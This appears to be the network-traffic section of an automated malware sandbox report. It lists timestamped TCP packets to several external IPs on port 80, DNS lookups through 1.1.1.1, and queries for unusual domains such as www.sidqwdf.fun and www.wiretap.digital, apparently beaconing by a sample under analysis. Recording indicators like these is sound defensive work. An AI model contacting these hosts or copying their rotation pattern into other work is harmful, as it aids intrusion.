Dec 2, 2024 14:38:43.194057941 CET	80	49968	209.74.64.187	192.168.2.6
Dec 2, 2024 14:38:48.563455105 CET	49985	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:38:48.684015989 CET	80	49985	3.33.130.190	192.168.2.6
Dec 2, 2024 14:38:48.684819937 CET	49985	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:38:48.700900078 CET	49985	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:38:48.823086023 CET	80	49985	3.33.130.190	192.168.2.6
Dec 2, 2024 14:38:49.826834917 CET	80	49985	3.33.130.190	192.168.2.6
Dec 2, 2024 14:38:49.826931953 CET	49985	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:38:50.213540077 CET	49985	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:38:50.333651066 CET	80	49985	3.33.130.190	192.168.2.6
Dec 2, 2024 14:38:51.232770920 CET	49992	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:38:51.354603052 CET	80	49992	3.33.130.190	192.168.2.6
Dec 2, 2024 14:38:51.354698896 CET	49992	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:38:51.373893023 CET	49992	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:38:51.494498968 CET	80	49992	3.33.130.190	192.168.2.6
Dec 2, 2024 14:38:52.740514040 CET	80	49992	3.33.130.190	192.168.2.6
Dec 2, 2024 14:38:52.740601063 CET	49992	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:38:52.885188103 CET	49992	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:38:53.005175114 CET	80	49992	3.33.130.190	192.168.2.6
Dec 2, 2024 14:38:53.904083014 CET	49999	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:38:54.024152994 CET	80	49999	3.33.130.190	192.168.2.6
Dec 2, 2024 14:38:54.024313927 CET	49999	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:38:54.039807081 CET	49999	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:38:54.160263062 CET	80	49999	3.33.130.190	192.168.2.6
Dec 2, 2024 14:38:54.160280943 CET	80	49999	3.33.130.190	192.168.2.6
Dec 2, 2024 14:38:55.123080969 CET	80	49999	3.33.130.190	192.168.2.6
Dec 2, 2024 14:38:55.123138905 CET	49999	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:38:55.541553020 CET	49999	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:38:55.661514044 CET	80	49999	3.33.130.190	192.168.2.6
Dec 2, 2024 14:38:56.560923100 CET	50005	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:38:56.680895090 CET	80	50005	3.33.130.190	192.168.2.6
Dec 2, 2024 14:38:56.681042910 CET	50005	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:38:56.692955017 CET	50005	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:38:56.812906981 CET	80	50005	3.33.130.190	192.168.2.6
Dec 2, 2024 14:38:57.778453112 CET	80	50005	3.33.130.190	192.168.2.6
Dec 2, 2024 14:38:57.778565884 CET	80	50005	3.33.130.190	192.168.2.6
Dec 2, 2024 14:38:57.778717041 CET	50005	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:38:57.781495094 CET	50005	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:38:57.901398897 CET	80	50005	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:03.393888950 CET	50011	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:03.514183998 CET	80	50011	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:03.514312983 CET	50011	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:03.596259117 CET	50011	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:03.716330051 CET	80	50011	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:04.698601961 CET	80	50011	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:04.698869944 CET	50011	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:05.119615078 CET	50011	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:05.361257076 CET	80	50011	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:06.138546944 CET	50012	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:06.259108067 CET	80	50012	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:06.259921074 CET	50012	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:06.280425072 CET	50012	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:06.400595903 CET	80	50012	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:07.450359106 CET	80	50012	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:07.450409889 CET	50012	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:07.791507006 CET	50012	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:07.911439896 CET	80	50012	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:08.812427044 CET	50013	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:08.932418108 CET	80	50013	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:08.932514906 CET	50013	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:08.950103045 CET	50013	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:09.070365906 CET	80	50013	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:09.070383072 CET	80	50013	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:10.029650927 CET	80	50013	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:10.033042908 CET	50013	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:10.464963913 CET	50013	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:10.584933043 CET	80	50013	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:11.482672930 CET	50014	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:11.602655888 CET	80	50014	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:11.602716923 CET	50014	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:11.615056992 CET	50014	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:11.735053062 CET	80	50014	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:12.751909971 CET	80	50014	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:12.752151966 CET	80	50014	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:12.753071070 CET	50014	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:12.756997108 CET	50014	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:12.877608061 CET	80	50014	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:18.417188883 CET	50015	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:18.537188053 CET	80	50015	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:18.542418003 CET	50015	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:18.561003923 CET	50015	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:18.681046009 CET	80	50015	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:19.684990883 CET	80	50015	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:19.685126066 CET	50015	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:20.072880030 CET	50015	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:20.192867994 CET	80	50015	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:21.092825890 CET	50017	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:21.212955952 CET	80	50017	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:21.213102102 CET	50017	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:21.231775045 CET	50017	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:21.352055073 CET	80	50017	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:22.356283903 CET	80	50017	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:22.359225035 CET	50017	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:22.747158051 CET	50017	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:22.867182016 CET	80	50017	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:23.764401913 CET	50018	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:23.884381056 CET	80	50018	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:23.884597063 CET	50018	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:23.902400970 CET	50018	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:24.022424936 CET	80	50018	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:24.022479057 CET	80	50018	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:25.072813988 CET	80	50018	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:25.072866917 CET	50018	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:25.416609049 CET	50018	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:25.536673069 CET	80	50018	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:26.435373068 CET	50019	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:26.558588028 CET	80	50019	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:26.558762074 CET	50019	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:26.573471069 CET	50019	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:26.696269989 CET	80	50019	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:27.662194014 CET	80	50019	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:27.662303925 CET	80	50019	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:27.662405968 CET	50019	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:27.665736914 CET	50019	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:39:27.787311077 CET	80	50019	3.33.130.190	192.168.2.6
Dec 2, 2024 14:39:33.853832006 CET	50020	80	192.168.2.6	47.238.157.253
Dec 2, 2024 14:39:34.011516094 CET	80	50020	47.238.157.253	192.168.2.6
Dec 2, 2024 14:39:34.011651993 CET	50020	80	192.168.2.6	47.238.157.253
Dec 2, 2024 14:39:34.032985926 CET	50020	80	192.168.2.6	47.238.157.253
Dec 2, 2024 14:39:34.153016090 CET	80	50020	47.238.157.253	192.168.2.6
Dec 2, 2024 14:39:35.541606903 CET	50020	80	192.168.2.6	47.238.157.253
Dec 2, 2024 14:39:35.709899902 CET	80	50020	47.238.157.253	192.168.2.6
Dec 2, 2024 14:39:36.560590982 CET	50021	80	192.168.2.6	47.238.157.253
Dec 2, 2024 14:39:36.680777073 CET	80	50021	47.238.157.253	192.168.2.6
Dec 2, 2024 14:39:36.683276892 CET	50021	80	192.168.2.6	47.238.157.253
Dec 2, 2024 14:39:36.699934006 CET	50021	80	192.168.2.6	47.238.157.253
Dec 2, 2024 14:39:36.819932938 CET	80	50021	47.238.157.253	192.168.2.6
Dec 2, 2024 14:39:38.213542938 CET	50021	80	192.168.2.6	47.238.157.253
Dec 2, 2024 14:39:38.373907089 CET	80	50021	47.238.157.253	192.168.2.6
Dec 2, 2024 14:39:39.233123064 CET	50022	80	192.168.2.6	47.238.157.253
Dec 2, 2024 14:39:39.353060961 CET	80	50022	47.238.157.253	192.168.2.6
Dec 2, 2024 14:39:39.353138924 CET	50022	80	192.168.2.6	47.238.157.253
Dec 2, 2024 14:39:39.370096922 CET	50022	80	192.168.2.6	47.238.157.253
Dec 2, 2024 14:39:39.491197109 CET	80	50022	47.238.157.253	192.168.2.6
Dec 2, 2024 14:39:39.491266966 CET	80	50022	47.238.157.253	192.168.2.6
Dec 2, 2024 14:39:40.885385036 CET	50022	80	192.168.2.6	47.238.157.253
Dec 2, 2024 14:39:41.049129009 CET	80	50022	47.238.157.253	192.168.2.6
Dec 2, 2024 14:39:41.904834986 CET	50023	80	192.168.2.6	47.238.157.253
Dec 2, 2024 14:39:42.025614977 CET	80	50023	47.238.157.253	192.168.2.6
Dec 2, 2024 14:39:42.025758028 CET	50023	80	192.168.2.6	47.238.157.253
Dec 2, 2024 14:39:42.045149088 CET	50023	80	192.168.2.6	47.238.157.253
Dec 2, 2024 14:39:42.165612936 CET	80	50023	47.238.157.253	192.168.2.6
Dec 2, 2024 14:39:55.919307947 CET	80	50020	47.238.157.253	192.168.2.6
Dec 2, 2024 14:39:55.919383049 CET	50020	80	192.168.2.6	47.238.157.253
Dec 2, 2024 14:39:58.647094965 CET	80	50021	47.238.157.253	192.168.2.6
Dec 2, 2024 14:39:58.649174929 CET	50021	80	192.168.2.6	47.238.157.253
Dec 2, 2024 14:40:01.247657061 CET	80	50022	47.238.157.253	192.168.2.6
Dec 2, 2024 14:40:01.247720003 CET	50022	80	192.168.2.6	47.238.157.253
Dec 2, 2024 14:40:03.919306040 CET	80	50023	47.238.157.253	192.168.2.6
Dec 2, 2024 14:40:03.919439077 CET	50023	80	192.168.2.6	47.238.157.253
Dec 2, 2024 14:40:03.920293093 CET	50023	80	192.168.2.6	47.238.157.253
Dec 2, 2024 14:40:04.044935942 CET	80	50023	47.238.157.253	192.168.2.6
Dec 2, 2024 14:40:09.438901901 CET	50025	80	192.168.2.6	67.223.117.169
Dec 2, 2024 14:40:09.558985949 CET	80	50025	67.223.117.169	192.168.2.6
Dec 2, 2024 14:40:09.559087038 CET	50025	80	192.168.2.6	67.223.117.169
Dec 2, 2024 14:40:09.588248014 CET	50025	80	192.168.2.6	67.223.117.169
Dec 2, 2024 14:40:09.708363056 CET	80	50025	67.223.117.169	192.168.2.6
Dec 2, 2024 14:40:10.781769037 CET	80	50025	67.223.117.169	192.168.2.6
Dec 2, 2024 14:40:10.782011986 CET	80	50025	67.223.117.169	192.168.2.6
Dec 2, 2024 14:40:10.782145023 CET	50025	80	192.168.2.6	67.223.117.169
Dec 2, 2024 14:40:11.104279995 CET	50025	80	192.168.2.6	67.223.117.169
Dec 2, 2024 14:40:12.123323917 CET	50026	80	192.168.2.6	67.223.117.169
Dec 2, 2024 14:40:12.243330956 CET	80	50026	67.223.117.169	192.168.2.6
Dec 2, 2024 14:40:12.247469902 CET	50026	80	192.168.2.6	67.223.117.169
Dec 2, 2024 14:40:12.262773037 CET	50026	80	192.168.2.6	67.223.117.169
Dec 2, 2024 14:40:12.383843899 CET	80	50026	67.223.117.169	192.168.2.6
Dec 2, 2024 14:40:13.518690109 CET	80	50026	67.223.117.169	192.168.2.6
Dec 2, 2024 14:40:13.518779993 CET	80	50026	67.223.117.169	192.168.2.6
Dec 2, 2024 14:40:13.518955946 CET	50026	80	192.168.2.6	67.223.117.169
Dec 2, 2024 14:40:13.777151108 CET	50026	80	192.168.2.6	67.223.117.169
Dec 2, 2024 14:40:14.797194004 CET	50027	80	192.168.2.6	67.223.117.169
Dec 2, 2024 14:40:14.917224884 CET	80	50027	67.223.117.169	192.168.2.6
Dec 2, 2024 14:40:14.917459965 CET	50027	80	192.168.2.6	67.223.117.169
Dec 2, 2024 14:40:14.933132887 CET	50027	80	192.168.2.6	67.223.117.169
Dec 2, 2024 14:40:15.053119898 CET	80	50027	67.223.117.169	192.168.2.6
Dec 2, 2024 14:40:15.053663015 CET	80	50027	67.223.117.169	192.168.2.6
Dec 2, 2024 14:40:16.194259882 CET	80	50027	67.223.117.169	192.168.2.6
Dec 2, 2024 14:40:16.194443941 CET	80	50027	67.223.117.169	192.168.2.6
Dec 2, 2024 14:40:16.194628000 CET	50027	80	192.168.2.6	67.223.117.169
Dec 2, 2024 14:40:16.448257923 CET	50027	80	192.168.2.6	67.223.117.169
Dec 2, 2024 14:40:17.467675924 CET	50028	80	192.168.2.6	67.223.117.169
Dec 2, 2024 14:40:17.588016033 CET	80	50028	67.223.117.169	192.168.2.6
Dec 2, 2024 14:40:17.588109970 CET	50028	80	192.168.2.6	67.223.117.169
Dec 2, 2024 14:40:17.599652052 CET	50028	80	192.168.2.6	67.223.117.169
Dec 2, 2024 14:40:17.720365047 CET	80	50028	67.223.117.169	192.168.2.6
Dec 2, 2024 14:40:18.811355114 CET	80	50028	67.223.117.169	192.168.2.6
Dec 2, 2024 14:40:18.811466932 CET	80	50028	67.223.117.169	192.168.2.6
Dec 2, 2024 14:40:18.811722994 CET	50028	80	192.168.2.6	67.223.117.169
Dec 2, 2024 14:40:18.814647913 CET	50028	80	192.168.2.6	67.223.117.169
Dec 2, 2024 14:40:18.934606075 CET	80	50028	67.223.117.169	192.168.2.6
Dec 2, 2024 14:40:24.584052086 CET	50029	80	192.168.2.6	85.159.66.93
Dec 2, 2024 14:40:24.705699921 CET	80	50029	85.159.66.93	192.168.2.6
Dec 2, 2024 14:40:24.705903053 CET	50029	80	192.168.2.6	85.159.66.93
Dec 2, 2024 14:40:24.729211092 CET	50029	80	192.168.2.6	85.159.66.93
Dec 2, 2024 14:40:24.849236965 CET	80	50029	85.159.66.93	192.168.2.6
Dec 2, 2024 14:40:26.244875908 CET	50029	80	192.168.2.6	85.159.66.93
Dec 2, 2024 14:40:26.365211964 CET	80	50029	85.159.66.93	192.168.2.6
Dec 2, 2024 14:40:26.365557909 CET	50029	80	192.168.2.6	85.159.66.93
Dec 2, 2024 14:40:27.264108896 CET	50030	80	192.168.2.6	85.159.66.93
Dec 2, 2024 14:40:27.384082079 CET	80	50030	85.159.66.93	192.168.2.6
Dec 2, 2024 14:40:27.384215117 CET	50030	80	192.168.2.6	85.159.66.93
Dec 2, 2024 14:40:27.402673006 CET	50030	80	192.168.2.6	85.159.66.93
Dec 2, 2024 14:40:27.522902966 CET	80	50030	85.159.66.93	192.168.2.6
Dec 2, 2024 14:40:28.917218924 CET	50030	80	192.168.2.6	85.159.66.93
Dec 2, 2024 14:40:29.037806034 CET	80	50030	85.159.66.93	192.168.2.6
Dec 2, 2024 14:40:29.037940025 CET	50030	80	192.168.2.6	85.159.66.93
Dec 2, 2024 14:40:29.937592030 CET	50031	80	192.168.2.6	85.159.66.93
Dec 2, 2024 14:40:30.057864904 CET	80	50031	85.159.66.93	192.168.2.6
Dec 2, 2024 14:40:30.058000088 CET	50031	80	192.168.2.6	85.159.66.93
Dec 2, 2024 14:40:30.076677084 CET	50031	80	192.168.2.6	85.159.66.93
Dec 2, 2024 14:40:30.196762085 CET	80	50031	85.159.66.93	192.168.2.6
Dec 2, 2024 14:40:30.196793079 CET	80	50031	85.159.66.93	192.168.2.6
Dec 2, 2024 14:40:31.588701963 CET	50031	80	192.168.2.6	85.159.66.93
Dec 2, 2024 14:40:31.709120989 CET	80	50031	85.159.66.93	192.168.2.6
Dec 2, 2024 14:40:31.709178925 CET	50031	80	192.168.2.6	85.159.66.93
Dec 2, 2024 14:40:32.607717991 CET	50032	80	192.168.2.6	85.159.66.93
Dec 2, 2024 14:40:32.727670908 CET	80	50032	85.159.66.93	192.168.2.6
Dec 2, 2024 14:40:32.727799892 CET	50032	80	192.168.2.6	85.159.66.93
Dec 2, 2024 14:40:32.738020897 CET	50032	80	192.168.2.6	85.159.66.93
Dec 2, 2024 14:40:32.858042002 CET	80	50032	85.159.66.93	192.168.2.6
Dec 2, 2024 14:40:34.108509064 CET	80	50032	85.159.66.93	192.168.2.6
Dec 2, 2024 14:40:34.109057903 CET	80	50032	85.159.66.93	192.168.2.6
Dec 2, 2024 14:40:34.109265089 CET	50032	80	192.168.2.6	85.159.66.93
Dec 2, 2024 14:40:34.156435013 CET	50032	80	192.168.2.6	85.159.66.93
Dec 2, 2024 14:40:34.276537895 CET	80	50032	85.159.66.93	192.168.2.6
Dec 2, 2024 14:40:39.759699106 CET	50033	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:39.879683018 CET	80	50033	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:39.879760027 CET	50033	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:39.986907959 CET	50033	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:40.107320070 CET	80	50033	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:41.494889021 CET	50033	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:41.528103113 CET	80	50033	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:41.528363943 CET	50033	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:41.528464079 CET	80	50033	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:41.528548002 CET	50033	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:41.615710020 CET	80	50033	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:41.615822077 CET	50033	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:42.895970106 CET	50034	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:43.016103983 CET	80	50034	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:43.017362118 CET	50034	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:43.165122032 CET	50034	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:43.285835981 CET	80	50034	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:44.683670044 CET	50034	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:44.708770990 CET	80	50034	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:44.709573030 CET	80	50034	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:44.713347912 CET	50034	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:44.713347912 CET	50034	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:44.803661108 CET	80	50034	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:44.809537888 CET	50034	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:46.857850075 CET	50035	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:46.978158951 CET	80	50035	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:46.978276014 CET	50035	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:46.994199038 CET	50035	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:47.114475012 CET	80	50035	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:47.114495993 CET	80	50035	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:48.511975050 CET	50035	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:48.609563112 CET	80	50035	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:48.609710932 CET	50035	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:48.610101938 CET	80	50035	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:48.610166073 CET	50035	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:48.632265091 CET	80	50035	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:48.632399082 CET	50035	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:49.529601097 CET	50036	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:49.650933981 CET	80	50036	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:49.651148081 CET	50036	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:49.661510944 CET	50036	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:49.781476974 CET	80	50036	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:51.357806921 CET	80	50036	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:51.357861042 CET	80	50036	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:51.357872963 CET	80	50036	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:51.358045101 CET	50036	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:51.358064890 CET	80	50036	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:51.358077049 CET	80	50036	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:51.358088970 CET	80	50036	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:51.358108044 CET	50036	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:51.358136892 CET	80	50036	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:51.358139992 CET	50036	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:51.358149052 CET	80	50036	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:51.358198881 CET	50036	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:51.358987093 CET	80	50036	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:51.359111071 CET	80	50036	162.159.140.104	192.168.2.6
Dec 2, 2024 14:40:51.359164000 CET	50036	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:51.363781929 CET	50036	80	192.168.2.6	162.159.140.104
Dec 2, 2024 14:40:51.483740091 CET	80	50036	162.159.140.104	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2024 14:37:20.724688053 CET	63019	53	192.168.2.6	1.1.1.1
Dec 2, 2024 14:37:21.690649033 CET	53	63019	1.1.1.1	192.168.2.6
Dec 2, 2024 14:37:38.390896082 CET	59994	53	192.168.2.6	1.1.1.1
Dec 2, 2024 14:37:39.159745932 CET	53	59994	1.1.1.1	192.168.2.6
Dec 2, 2024 14:37:53.451452971 CET	53003	53	192.168.2.6	1.1.1.1
Dec 2, 2024 14:37:53.679882050 CET	53	53003	1.1.1.1	192.168.2.6
Dec 2, 2024 14:38:01.732362986 CET	49552	53	192.168.2.6	1.1.1.1
Dec 2, 2024 14:38:02.399349928 CET	53	49552	1.1.1.1	192.168.2.6
Dec 2, 2024 14:38:18.014503002 CET	65243	53	192.168.2.6	1.1.1.1
Dec 2, 2024 14:38:18.506180048 CET	53	65243	1.1.1.1	192.168.2.6
Dec 2, 2024 14:38:33.062088013 CET	53165	53	192.168.2.6	1.1.1.1
Dec 2, 2024 14:38:33.471018076 CET	53	53165	1.1.1.1	192.168.2.6
Dec 2, 2024 14:38:47.967339039 CET	59378	53	192.168.2.6	1.1.1.1
Dec 2, 2024 14:38:48.560231924 CET	53	59378	1.1.1.1	192.168.2.6
Dec 2, 2024 14:39:02.795798063 CET	50399	53	192.168.2.6	1.1.1.1
Dec 2, 2024 14:39:03.389425039 CET	53	50399	1.1.1.1	192.168.2.6
Dec 2, 2024 14:39:17.764126062 CET	58662	53	192.168.2.6	1.1.1.1
Dec 2, 2024 14:39:18.412097931 CET	53	58662	1.1.1.1	192.168.2.6
Dec 2, 2024 14:39:32.673048973 CET	60346	53	192.168.2.6	1.1.1.1
Dec 2, 2024 14:39:33.666887045 CET	60346	53	192.168.2.6	1.1.1.1
Dec 2, 2024 14:39:33.851263046 CET	53	60346	1.1.1.1	192.168.2.6
Dec 2, 2024 14:39:33.851278067 CET	53	60346	1.1.1.1	192.168.2.6
Dec 2, 2024 14:40:08.936533928 CET	61484	53	192.168.2.6	1.1.1.1
Dec 2, 2024 14:40:09.435236931 CET	53	61484	1.1.1.1	192.168.2.6
Dec 2, 2024 14:40:23.827955961 CET	54256	53	192.168.2.6	1.1.1.1
Dec 2, 2024 14:40:24.579834938 CET	53	54256	1.1.1.1	192.168.2.6
Dec 2, 2024 14:40:39.171408892 CET	59924	53	192.168.2.6	1.1.1.1
Dec 2, 2024 14:40:39.732336998 CET	53	59924	1.1.1.1	192.168.2.6
Dec 2, 2024 14:40:56.373853922 CET	57525	53	192.168.2.6	1.1.1.1
Dec 2, 2024 14:40:57.065243959 CET	53	57525	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 2, 2024 14:37:20.724688053 CET	192.168.2.6	1.1.1.1	0xd85	Standard query (0)	www.sidqwdf.fun	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:37:38.390896082 CET	192.168.2.6	1.1.1.1	0xb2ae	Standard query (0)	www.swenansiansie.xyz	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:37:53.451452971 CET	192.168.2.6	1.1.1.1	0xc8db	Standard query (0)	www.mp3cevir.xyz	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:38:01.732362986 CET	192.168.2.6	1.1.1.1	0xe28e	Standard query (0)	www.spectre.center	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:38:18.014503002 CET	192.168.2.6	1.1.1.1	0xb0b4	Standard query (0)	www.synd.fun	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:38:33.062088013 CET	192.168.2.6	1.1.1.1	0x5d92	Standard query (0)	www.jagdud.store	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:38:47.967339039 CET	192.168.2.6	1.1.1.1	0x1169	Standard query (0)	www.wiretap.digital	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:39:02.795798063 CET	192.168.2.6	1.1.1.1	0x3c2d	Standard query (0)	www.it2sp8.vip	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:39:17.764126062 CET	192.168.2.6	1.1.1.1	0x7c81	Standard query (0)	www.cbprecise.online	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:39:32.673048973 CET	192.168.2.6	1.1.1.1	0x78eb	Standard query (0)	www.yun08ps.top	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:39:33.666887045 CET	192.168.2.6	1.1.1.1	0x78eb	Standard query (0)	www.yun08ps.top	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:40:08.936533928 CET	192.168.2.6	1.1.1.1	0xbede	Standard query (0)	www.rtpsilva4d.click	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:40:23.827955961 CET	192.168.2.6	1.1.1.1	0xb0	Standard query (0)	www.restobarbebek.xyz	A (IP address)	IN (0x0001)	false
